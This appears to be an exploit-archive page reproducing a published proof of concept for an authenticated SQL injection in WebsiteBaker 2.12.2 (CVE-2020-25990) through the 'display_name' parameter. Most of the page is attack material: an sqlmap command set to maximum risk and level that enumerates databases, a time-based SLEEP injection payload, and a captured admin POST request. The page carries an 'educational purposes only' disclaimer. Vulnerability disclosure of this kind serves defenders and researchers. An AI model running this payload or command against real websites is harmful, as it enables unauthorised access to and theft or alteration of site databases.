Websitebaker 2.12.2 display_name sql injection (authenticated) Vulnerability / Exploit

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Exploits / Vulnerability Discovered : 2020-10-01 | Type : webapps | Platform : php
This exploit / vulnerability Websitebaker 2.12.2 display_name sql injection (authenticated) is for educational purposes only and if it is used you will do on your own risk!

[+] Code ...

# Exploit Title: WebsiteBaker 2.12.2 - 'display_name' SQL Injection (authenticated)
# Google Dork: -
# Date: 2020-09-20
# Exploit Author: Roel van Beurden
# Vendor Homepage: https://websitebaker.org
# Software Link: https://wiki.websitebaker.org/doku.php/en/downloads
# Version: 2.12.2
# Tested on: Linux Ubuntu 18.04
# CVE: CVE-2020-25990

1. Description:
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WebsiteBaker 2.12.2 allows SQL Injection via parameter 'display_name' in /websitebaker/admin/preferences/save.php.
Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

2. Proof of Concept:
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In Burpsuite intercept the request from /websitebaker/admin/preferences/save.php and save it like burp.req
Then run SQLmap to extract the data from the database:

sqlmap -r burp.req --risk=3 --level=5 --dbs --random-agent

3. Example payload:
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display_name=Administrator" AND (SELECT 9637 FROM (SELECT(SLEEP(5)))ExGN)-- Cspz&language=EN&timezone=system_default&date_format=M d Y&time_format=g:i A&email=admin@example.com&new_password_1=&new_password_2=&current_password=&submit=Save&dd114892c1676ce3=j_5rdRnI_TarPQu7QmVVuw

4. Burpsuite request:
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POST /websitebaker/admin/preferences/save.php HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://127.0.0.1/websitebaker/admin/preferences/index.php
Content-Type: application/x-www-form-urlencoded
Content-Length: 228
Connection: close
Cookie: wb-8123-sid=otfjsmqu8vljs9737crkcm8nec
Upgrade-Insecure-Requests: 1

display_name=Administrator&language=EN&timezone=system_default&date_format=M+d+Y&time_format=g%3Ai+A&email=admin%40example.com&new_password_1=&new_password_2=&current_password=&submit=Save&dd114892c1676ce3=j_5rdRnI_TarPQu7QmVVuw